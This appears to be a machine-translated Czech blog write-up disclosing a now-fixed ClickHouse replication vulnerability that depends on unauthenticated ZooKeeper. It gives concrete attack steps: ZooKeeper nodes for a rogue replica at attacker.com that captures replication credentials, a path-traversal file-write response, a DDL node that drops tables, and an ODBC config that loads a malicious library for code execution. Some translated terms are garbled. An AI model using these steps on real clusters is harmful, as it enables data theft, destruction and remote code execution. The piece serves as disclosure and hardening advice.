Proč musíte mít klece v zoo zavřené?

Proč musíte mít klece v zoo zavřené?

Tento článek bude vyprávět příběh o velmi specifické zranitelnosti v replikačním protokolu ClickHouse a také ukáže, jak lze rozšířit útočnou plochu.

ClickHouse je databáze pro ukládání velkých objemů dat, nejčastěji využívající více než jednu repliku. Clustering a replikace v ClickHouse jsou postaveny na vrcholu Apache ZooKeeper (ZK) a vyžadují práva zápisu.

Výchozí instalace ZK nevyžaduje ověření, takže tisíce serverů ZK používaných ke konfiguraci Kafka, Hadoop, ClickHouse jsou veřejně dostupné.

Chcete-li snížit plochu útoku, měli byste při instalaci ZooKeeper vždy nakonfigurovat ověřování a autorizaci

Samozřejmě existuje několik deserializací Java založených na 0 dnech, ale představte si, že by útočník mohl číst a zapisovat do ZooKeeper, používaného pro replikaci ClickHouse.

Při konfiguraci v režimu clusteru podporuje ClickHouse distribuované dotazy DDL, procházející ZK - pro ně jsou v listu vytvořeny uzly /clickhouse/task_queue/ddl.

Například vytvoříte uzel /clickhouse/task_queue/ddl/query-0001 s obsahem:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

a poté bude testovací tabulka odstraněna na clusterových serverech host1 a host2. DDL také podporuje spouštění dotazů CREATE/ALTER/DROP.

Zní to děsivě? Ale kde může útočník získat adresy serverů?

Replikace ClickHouse funguje na úrovni jednotlivých tabulek, takže při vytvoření tabulky v ZK je určen server, který bude zodpovědný za výměnu metadat s replikami. Například při provádění požadavku (musí být nakonfigurován ZK, chXX - název repliky, foobar - název tabulky):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

uzly budou vytvořeny sloupce и metadat.

Obsah /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Je možné sloučit data z tohoto clusteru? Ano, pokud replikační port (TCP/9009) na serveru chXX-address brána firewall nebude uzavřena a autentizace pro replikaci nebude nakonfigurována. Jak obejít ověřování?

Útočník může vytvořit novou repliku v ZK pouhým zkopírováním obsahu /clickhouse/tables/01-01/foobar/replicas/chXX a měnit význam host.

Obsah /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Poté musíte ostatním replikám sdělit, že na útočníkově serveru je nový blok dat, který potřebují vzít – v ZK se vytvoří uzel /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotónně rostoucí počítadlo, které by mělo být větší než poslední v protokolu událostí):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

kde zdrojová_replika — název repliky útočníka vytvořené v předchozím kroku, block_id — identifikátor bloku dat, získat - příkaz "získat blok" (a zde jsou příkazy pro další operace).

Dále každá replika přečte novou událost v protokolu a přejde na server ovládaný útočníkem, aby přijal blok dat (replikační protokol je binární a běží nad HTTP). Server attacker.com obdrží žádosti:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

kde XXX jsou ověřovací data pro replikaci. V některých případech se může jednat o účet s přístupem do databáze přes hlavní protokol ClickHouse a protokol HTTP. Jak jste viděli, útočná plocha je kriticky velká, protože ZooKeeper, používaný pro replikaci, zůstal bez nakonfigurované autentizace.

Podívejme se na funkci získání bloku dat z repliky, je napsáno s plnou důvěrou, že všechny repliky jsou pod řádnou kontrolou a panuje mezi nimi důvěra.

Proč musíte mít klece v zoo zavřené?
kód pro zpracování replikace

Funkce načte seznam souborů, poté jejich názvy, velikosti, obsah a poté je zapíše do systému souborů. Stojí za to samostatně popsat, jak jsou data uložena v systému souborů.

Existuje několik podadresářů /var/lib/clickhouse (výchozí adresář úložiště z konfiguračního souboru):

Vlajky - adresář pro nahrávání vlajky, používané při obnově po ztrátě dat;
tmp — adresář pro ukládání dočasných souborů;
user_files — operace se soubory v požadavcích jsou omezeny na tento adresář (INTO OUTFILE a další);
metadat — sql soubory s popisy tabulek;
preprocessed_configs - zpracované odvozené konfigurační soubory z /etc/clickhouse-server;
datum - vlastní adresář se samotnými daty, v tomto případě se zde pro každou databázi jednoduše vytvoří samostatný podadresář (např. /var/lib/clickhouse/data/default).

Pro každou tabulku v adresáři databází je vytvořen podadresář. Každý sloupec je samostatný soubor v závislosti na formát motoru. Například na stůl foobarvytvořené útočníkem, budou vytvořeny následující soubory:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika očekává, že při zpracování bloku dat obdrží soubory se stejnými názvy, a žádným způsobem je neověřuje.

Pozorný čtenář již pravděpodobně slyšel o nebezpečném zřetězení file_name ve funkci WriteBufferFromFile. Ano, toto umožňuje útočníkovi zapisovat libovolný obsah do libovolného souboru na FS s uživatelskými právy clickhouse. K tomu musí replika ovládaná útočníkem vrátit na požadavek následující odpověď (pro snazší pochopení byly přidány konce řádků):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

a po zřetězení ../../../../../../../../../tmp/pwned soubor bude zapsán /tmp/pwned s obsahem ahoj ze zookeeperu.

Existuje několik možností, jak přeměnit schopnost zápisu souborů na vzdálené spouštění kódu (RCE).

Externí slovníky v RCE

Ve starších verzích byl adresář s nastavením ClickHouse uložen s uživatelskými právy clickhouse výchozí. Soubory nastavení jsou soubory XML, které služba čte při spuštění a poté je ukládá do mezipaměti /var/lib/clickhouse/preprocessed_configs. Když dojde ke změnám, jsou znovu přečteny. Pokud máte přístup k /etc/clickhouse-server útočník si může vytvořit vlastní externí slovník spustitelný typ a poté spustit libovolný kód. Současné verze ClickHouse standardně práva neposkytují, ale pokud by byl server postupně aktualizován, mohla by taková práva zůstat. Pokud podporujete cluster ClickHouse, zkontrolujte práva k adresáři nastavení, musí patřit uživateli root.

ODBC na RCE

Při instalaci balíčku je vytvořen uživatel clickhouse, ale jeho domovský adresář není vytvořen /nonexistent. Při použití externích slovníků nebo z jiných důvodů však administrátoři vytvoří adresář /nonexistent a dát uživateli clickhouse přístup k zápisu do něj (SSZB! Cca. překladatel).

ClickHouse podporuje ODBC a může se připojit k jiným databázím. V ODBC můžete zadat cestu ke knihovně ovladače databáze (.so). Starší verze ClickHouse vám to umožňovaly přímo v obslužné rutině požadavků, ale nyní byla přidána přísnější kontrola připojovacího řetězce odbc-bridge, takže z požadavku již není možné specifikovat cestu ovladače. Může však útočník zapisovat do domovského adresáře pomocí výše popsané chyby zabezpečení?

Vytvoříme soubor ~/.odbc.ini s obsahem jako je tento:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

pak při spuštění SELECT * FROM odbc('DSN=lalala', 'test', 'test'); knihovna se načte test.so a obdrželi RCE (díky buglloc za tip).

Tyto a další chyby zabezpečení byly opraveny ve verzi ClickHouse 19.14.3. Postarejte se o své ClickHouse a ZooKeepers!

Zdroj: www.habr.com

Přidat komentář